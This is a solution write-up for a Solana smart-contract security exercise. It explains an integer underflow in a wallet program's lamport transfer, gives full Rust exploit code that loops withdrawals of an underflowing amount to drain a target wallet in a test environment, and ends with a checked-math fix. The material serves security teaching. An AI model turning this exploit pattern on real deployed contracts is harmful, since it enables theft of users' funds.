Solution - Overflow/Underflow

The vulnerability in this contract is an overflow/underflow in the deposit function:

    **wallet_info.lamports.borrow_mut() -= amount;
    **destination_info.lamports.borrow_mut() += amount;

Remember that lamports are fractions of SOL. For a large amount the u64 lamports overflow/underflow. If an attacker sets wallet_info to the hacker's wallet and destination_info to the rich-boi-wallet, they can underflow the wallet_info and therefore increase his lamports. Alternatively, they can overflow the destination_info and therefore decrease the destination lamports. See here.

There is one more trick to it, as there is a rent check:

    let min_balance = rent.minimum_balance(WALLET_LEN as usize);
    if min_balance + amount > **wallet_info.lamports.borrow_mut() {
        return Err(ProgramError::InsufficientFunds);
    }

But this only limits the maximum amount stolen per iteration to min_balance lamports.

Here is the example exploit code that Thomas, one of our colleagues, wrote:

#![allow(unused)]
fn main() {
use borsh::BorshSerialize;
use level2::{WalletInstruction, get_wallet_address};
use solana_program::instruction::{AccountMeta, Instruction};
use solana_program::rent::Rent;
use solana_program::sysvar;



fn hack(env: &mut LocalEnvironment, challenge: &Challenge) {
    // create hackers wallet
    assert_tx_success(env.execute_as_transaction(
        &[level2::initialize(
            challenge.wallet_program,
            challenge.hacker.pubkey(),
        )],
        &[&challenge.hacker],
    ));

    let hacker_wallet = get_wallet_address(challenge.hacker.pubkey(), challenge.wallet_program);

    let to_transfer = Rent::default().minimum_balance(8);
    println!("To transfer: {}", to_transfer);
    //let to_transfer = 1_000_000u64;
    let overflow = (-(to_transfer as i64)) as u64;

    let iters = 10;

    for i in 0..iters {
        let tx = env.execute_as_transaction(
            &[Instruction {
                program_id: challenge.wallet_program,
                accounts: vec![
                    AccountMeta::new(hacker_wallet, false),              // source wallet
                    AccountMeta::new(challenge.hacker.pubkey(), true),   // owner
                    AccountMeta::new(challenge.wallet_address, false),   // target wallet
                    AccountMeta::new_readonly(sysvar::rent::id(), false), // rent
                ],
                data: WalletInstruction::Withdraw { amount: overflow+i }.try_to_vec().unwrap(),
            }],
            &[&challenge.hacker],
        );
        tx.print_named(&format!("haxx {}", i));
    }
    

    let tx = env.execute_as_transaction(
        &[Instruction {
            program_id: challenge.wallet_program,
            accounts: vec![
                AccountMeta::new(hacker_wallet, false),              // source wallet
                AccountMeta::new(challenge.hacker.pubkey(), true),   // owner
                AccountMeta::new(challenge.hacker.pubkey(), false),  // target wallet
                AccountMeta::new_readonly(sysvar::rent::id(), false), // rent
            ],
            data: WalletInstruction::Withdraw { amount: to_transfer*iters-1000 }.try_to_vec().unwrap(),
        }],
        &[&challenge.hacker],
    );
    tx.print_named("hacker withdraw");
}
}

Mitigation

By replacing the math with checked math in the withdraw function, this vulnerability can be prevented:

#![allow(unused)]
fn main() {
{
    let mut wallet_info_lapmorts = wallet_info.lamports.borrow_mut();
    **wallet_info_lapmorts = (**wallet_info_lapmorts).checked_sub(amount).unwrap();
}

{
    let mut destination_info_lapmorts = destination_info.lamports.borrow_mut();
    **destination_info_lapmorts = (**destination_info_lapmorts).checked_add(amount).unwrap();
}
}